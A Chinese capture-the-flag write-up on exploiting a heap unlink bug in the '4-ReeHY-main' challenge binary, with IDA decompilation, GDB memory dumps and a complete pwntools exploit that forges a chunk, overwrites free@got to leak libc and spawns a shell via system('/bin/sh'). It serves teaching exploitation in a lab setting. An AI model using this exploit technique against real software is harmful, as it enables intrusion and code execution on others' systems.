现在unlink函数加了个判断需要绕过:
我是在ubuntu16 64位调试的
即必须保证 FD->bk = P 并且 BK->fd = P`
为了绕过这个验证,需要找到一个地址x,使*x=p,
释放chunk前,检查 FD->bk=BK->fd=P , P为当前需要free的chunk指针,BK的前一个chunk的指针,FD为后一个chunk的指针。如果有一个堆指针可控,并在一个chunk的数据段内,再如果有个可控的地址是指向P的,记为* X=P。那么我们就在此chunk上构造两个chunk,第一个chunk在 pre_size 的标志位P设为1,大小到P结束,第二个chunk的 pre_size 的标志位P设为0,针对64位系统,第一个chunk的fd设为(X-0x18),bk设为(X-0x10),即P->fd=(X-0x18),P->bk=(X-0x10),又因为* X=P,所以(X-0x18)->bk=P,(X-0x10)->fd=P,通过unlink的检查,按照unlink的宏代码,unlink过程中X的内容前后被写为 (X-0x10)、(X-0x18) ,最终X的内容被我们改写。
如果发生向内存低址合并的时候, bk+0x10 is overwritten with fd
记住以上知识点。
先分析一下create、edit、delete这三个函数。
利用IDA分析一下create函数
int create()
{
int result; // eax@1
char buf; // [sp+0h] [bp-90h]@5
void *dest; // [sp+80h] [bp-10h]@4
int index; // [sp+88h] [bp-8h]@3
size_t nbytes; // [sp+8Ch] [bp-4h]@2
result = dword_6020AC;
if ( dword_6020AC <= 4 )
{
puts("Input size");
result = read_int();
LODWORD(nbytes) = result;
if ( result <= 4096 )
{
puts("Input cun");
result = read_int();
index = result;
if ( result <= 4 )
{
dest = malloc((signed int)nbytes);
puts("Input content");
if ( (signed int)nbytes > 112 )
{
read(0, dest, (unsigned int)nbytes);
}
else
{
read(0, &buf, (unsigned int)nbytes);
memcpy(dest, &buf, (signed int)nbytes);
}
*(_DWORD *)(qword_6020C0 + 4LL * index) = nbytes;
*((_QWORD *)&unk_6020E0 + 2 * index) = dest;
dword_6020E8[4 * index] = 1;
++dword_6020AC;
result = fflush(stdout);
}
}
}
return result;
}
可以看到当创建heap的时候,会将malloc的返回值保存到0x6020e0为起始地址的位置,如果分配了就将1写入到6020E8位起始地址的位置(也就是flag值),如下所示:
gdb-peda$ x/50gx 0x6020c0
0x6020c0:0x0000000001e8c0100x0000000000000000
0x6020d0:0x00000000000000000x0000000000000000
0x6020e0:0x0000000001e8c0600x0000000000000001
0x6020f0: 0x0000000001e8c1a00x0000000000000001
0x602100:0x0000000001e8c0900x0000000000000000
0x602110:0x00000000000000000x0000000000000000
堆的大小保存在以0x1e8c010为起始地址处。
gdb-peda$ x/wx 0x6020c0
0x6020c0:0x01e8c010
gdb-peda$ x/wx 0x1e8c010
0x1e8c010:0x00000020
gdb-peda$ x/10wx 0x1e8c010
0x1e8c010:0x000000200x000001000x000001000x00000000
0x1e8c020:0x000000000x000000000x000000310x00000000
0x1e8c030:0x696465700x00000079
在进行删除操作时,直接从0x6020e0+index*0x10处获取堆指针,然后使用free函数删除堆,然后将0x6020e8+index*0x10处设置为0(将flag置1).
int edit()
{
int result; // eax@1
int index; // [sp+Ch] [bp-4h]@1
puts("Chose one to edit");
result = read_int();
index = result;
if ( result <= 4 )
{
result = dword_6020E8[4 * result];
if ( result == 1 )
{
puts("Input the content");
read(0, *((void **)&unk_6020E0 + 2 * index), *(_DWORD *)(4LL * index + qword_6020C0));
result = puts("Edit success!");
}
}
return result;
}
在进行edit操作时,首先根据index从0x6020e8+0x10*index处获取以前保存的flag值,如果flag=0说明已经free了,如果flag=1说明已经分配,可以编辑,然后获取0x6020e0+index*0x10处的指针,然后将用户输入的数据写入该指针对应的地址处。大小符合poi(0x6020c0)+index*0x10处保存的大小。
这三个函数已经分析完了
我先把exp贴出来一点点分析:
#!/usr/bin/env python
from pwn import *
import sys
context.arch = 'amd64'
if len(sys.argv) < 2:
p = process('./4-ReeHY-main')
#context.log_level = 'debug'
else:
p = remote(sys.argv[1], int(sys.argv[2]))#gdb.attach(p,'b *0x400cf5 \nb *0x400b62')
def welcome():
p.recvuntil('name: \n$')
p.send('pediy')
def create(index,size,content):
p.recvuntil('*********\n$')
p.send('1')
p.recvuntil('Input size\n')
p.send(str(size))
p.recvuntil('Input cun\n')
p.send(str(index))
p.recvuntil('Input content\n')
p.send(content)
def delete(index):
p.recvuntil('*********\n$')
p.send('2')
p.recvuntil('Chose one to dele\n')
p.send(str(index))
def edit(index,content):
p.recvuntil('*********\n$')
p.send('3')
p.recvuntil('to edit\n')
p.send(str(index))
p.recvuntil('the content\n')
p.send(content)
def exp():
#system_off = 0x46590
#puts_off = 0x6fd60
#binsh_off = 0x180103
#pop_ret_addr = 0x400DA3
#system_off = 0x41fd0
#puts_off = 0x6cee0
system_off = 0x45390
puts_off = 0x6f690
got_addr = 0x602018 #free@got
p_addr = 0x602100
puts_plt = 0x4006d0
welcome()
create(0,0x20,'/bin/sh\x00')
log.info('gen point to control...')
pause()
create(2,0x100,'BBBB')
create(1,0x100,'CCCC')
delete(2)
delete(1)
payload = p64(0)+p64(0x101)+p64(p_addr-0x18)+p64(p_addr-0x10)+'A'*(0x100-32)+p64(0x100)+p64(0x210-0x100)
create(2,0x210,payload)
delete(1)
log.info('leaking address...')
edit(2,p64(1)+p64(got_addr)+p64(1)+p64(got_addr+8)+p64(1))
edit(1,p64(puts_plt))
delete(2)
puts_addr = p.recv(6)
log.info('puts address:'+hex(u64(puts_addr+'\x00'*2)))
system_addr = u64(puts_addr+'\x00'*2)-puts_off+system_off
log.info('system address:'+hex(system_addr))
log.info('get shell!!!')
edit(1,p64(system_addr))
delete(0)
p.interactive()
if __name__ == '__main__':
exp()
我们的目的就是改写got段,比如将free@got的地址改写为system@got或者put@got这样,当调用free函数的时候,就可以执行system函数或者put函数了。
怎么改写got段呢 ,在unlink的时候,有一处覆写可以利用,然后在地址0x6020e0开始处保存了堆的指针,如果该出可以被改写,那边在以后edit函数调用了,就可以改写指针对应地址的数据了。
下边详细分析一下吧。
create(0,0x20,'/bin/sh\x00')
create(2,0x100,'BBBB')
create(1,0x100,'CCCC')
创建三个堆,index分别为0,2,1,大小分别是0x20,0x100,0x100,此时内存布局是这样的:
gdb-peda$ x/10gx 0x6020e0
0x6020e0:0x0000000001e8c0600x0000000000000001
0x6020f0: 0x0000000001e8c1a00x0000000000000001
0x602100:0x0000000001e8c0900x0000000000000001
gdb-peda$ x/100gx 0x1e8c060
0x1e8c060:0x0068732f6e69622f0x00007ffea2378a50
0x1e8c070:0x000000000000000a0xffffffffffffffff
0x1e8c080:0x00000000000000000x0000000000000111
0x1e8c090:0x00000000424242420x0000000000000000
0x1e8c0a0:0x00000000000000000x0000000000000000
0x1e8c0b0:0x00000000000000000x0000000000000000
0x1e8c0c0:0x00000000000000000x0000000000000000
0x1e8c0d0:0x00000000000000000x0000000000000000
0x1e8c0e0:0x00000000000000000x0000000000000000
0x1e8c0f0:0x00000000000000000x0000000000000000
0x1e8c100:0x00000000000000000x0000000000000000
0x1e8c110:0x00000000000000000x0000000000000000
0x1e8c120:0x00000000000000000x0000000000000000
0x1e8c130:0x00000000000000000x0000000000000000
0x1e8c140:0x00000000000000000x0000000000000000
0x1e8c150:0x00000000000000000x0000000000000000
0x1e8c160:0x00000000000000000x0000000000000000
0x1e8c170:0x00000000000000000x0000000000000000
0x1e8c180:0x00000000000000000x0000000000000000
0x1e8c190:0x00000000000000000x0000000000000111
0x1e8c1a0:0x00000000434343430x0000000000000000
0x1e8c1b0:0x00000000000000000x0000000000000000
0x1e8c1c0:0x00000000000000000x0000000000000000
0x1e8c1d0:0x00000000000000000x0000000000000000
0x1e8c1e0:0x00000000000000000x0000000000000000
0x1e8c1f0:0x00000000000000000x0000000000000000
0x1e8c200:0x00000000000000000x0000000000000000
0x1e8c210:0x00000000000000000x0000000000000000
0x1e8c220:0x00000000000000000x0000000000000000
然后是:
delete(2)
delete(1)
将这两个堆释放掉,内存布局是这样的:
gdb-peda$ x/10gx 0x1e8c010
0x1e8c010:0x00000100000000200x0000000000000100
0x1e8c020:0x00000000000000000x0000000000000031
0x1e8c030:0x00000079696465700x0000000000000000
0x1e8c040:0x00000000000000000x0000000000000000
0x1e8c050:0x00000000000000000x0000000000000031
gdb-peda$ x/10gx 0x6020e0
0x6020e0:0x0000000001e8c0600x0000000000000001
0x6020f0:0x0000000001e8c1a00x0000000000000000
0x602100:0x0000000001e8c0900x0000000000000000
0x602110:0x00000000000000000x0000000000000000
0x602120:0x00000000000000000x0000000000000000
gdb-peda$ x/100gx 0x1e8c060
0x1e8c060:0x0068732f6e69622f0x00007ffea2378a50
0x1e8c070:0x000000000000000a0xffffffffffffffff
0x1e8c080:0x00000000000000000x0000000000020f81
0x1e8c090:0x00007ff81a1cab780x00007ff81a1cab78
0x1e8c0a0:0x00000000000000000x0000000000000000
0x1e8c0b0:0x00000000000000000x0000000000000000
0x1e8c0c0:0x00000000000000000x0000000000000000
0x1e8c0d0:0x00000000000000000x0000000000000000
0x1e8c0e0:0x00000000000000000x0000000000000000
0x1e8c0f0:0x00000000000000000x0000000000000000
0x1e8c100:0x00000000000000000x0000000000000000
0x1e8c110:0x00000000000000000x0000000000000000
0x1e8c120:0x00000000000000000x0000000000000000
0x1e8c130:0x00000000000000000x0000000000000000
0x1e8c140:0x00000000000000000x0000000000000000
0x1e8c150:0x00000000000000000x0000000000000000
0x1e8c160:0x00000000000000000x0000000000000000
0x1e8c170:0x00000000000000000x0000000000000000
0x1e8c180:0x00000000000000000x0000000000000000
0x1e8c190:0x00000000000001100x0000000000000110
0x1e8c1a0:0x00000000434343430x0000000000000000
0x1e8c1b0:0x00000000000000000x0000000000000000
然后再创建一个index为2的堆,大小为0x210,并写入一下数据:
payload = p64(0)+p64(0x101)+p64(p_addr-0x18)+p64(p_addr-0x10)+'A'*(0x100-32)+p64(0x100)+p64(0x210-0x100)
create(2,0x210,payload)
gdb-peda$ x/10gx 0x6020e0
0x6020e0:0x0000000001e8c0600x0000000000000001
0x6020f0: 0x0000000001e8c1a00x0000000000000000
0x602100:0x0000000001e8c0900x0000000000000001
0x602110:0x00000000000000000x0000000000000000
0x602120:0x00000000000000000x0000000000000000
gdb-peda$ x/10gx 0x1e8c010
0x1e8c010:0x00000100000000200x0000000000000210
0x1e8c020:0x00000000000000000x0000000000000031
0x1e8c030:0x00000079696465700x0000000000000000
0x1e8c040:0x00000000000000000x0000000000000000
0x1e8c050:0x00000000000000000x0000000000000031
gdb-peda$ x/50gx 0x1e8c060
0x1e8c060:0x0068732f6e69622f0x00007ffea2378a50
0x1e8c070:0x000000000000000a0xffffffffffffffff
0x1e8c080:0x00000000000000000x0000000000000221
0x1e8c090:0x00000000000000000x0000000000000101
0x1e8c0a0:0x00000000006020e80x00000000006020f0
0x1e8c0b0:0x41414141414141410x4141414141414141
0x1e8c0c0:0x41414141414141410x4141414141414141
0x1e8c0d0:0x41414141414141410x4141414141414141
0x1e8c0e0:0x41414141414141410x4141414141414141
0x1e8c0f0:0x41414141414141410x4141414141414141
0x1e8c100:0x41414141414141410x4141414141414141
0x1e8c110:0x41414141414141410x4141414141414141
0x1e8c120:0x41414141414141410x4141414141414141
0x1e8c130:0x41414141414141410x4141414141414141
0x1e8c140:0x41414141414141410x4141414141414141
0x1e8c150:0x41414141414141410x4141414141414141
0x1e8c160:0x41414141414141410x4141414141414141
0x1e8c170:0x41414141414141410x4141414141414141
0x1e8c180:0x41414141414141410x4141414141414141
0x1e8c190:0x00000000000001000x0000000000000110
0x1e8c1a0:0x00000000434343430x0000000000000000
0x1e8c1b0:0x00000000000000000x0000000000000000
0x1e8c1c0:0x00000000000000000x0000000000000000
0x1e8c1d0:0x00000000000000000x0000000000000000
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)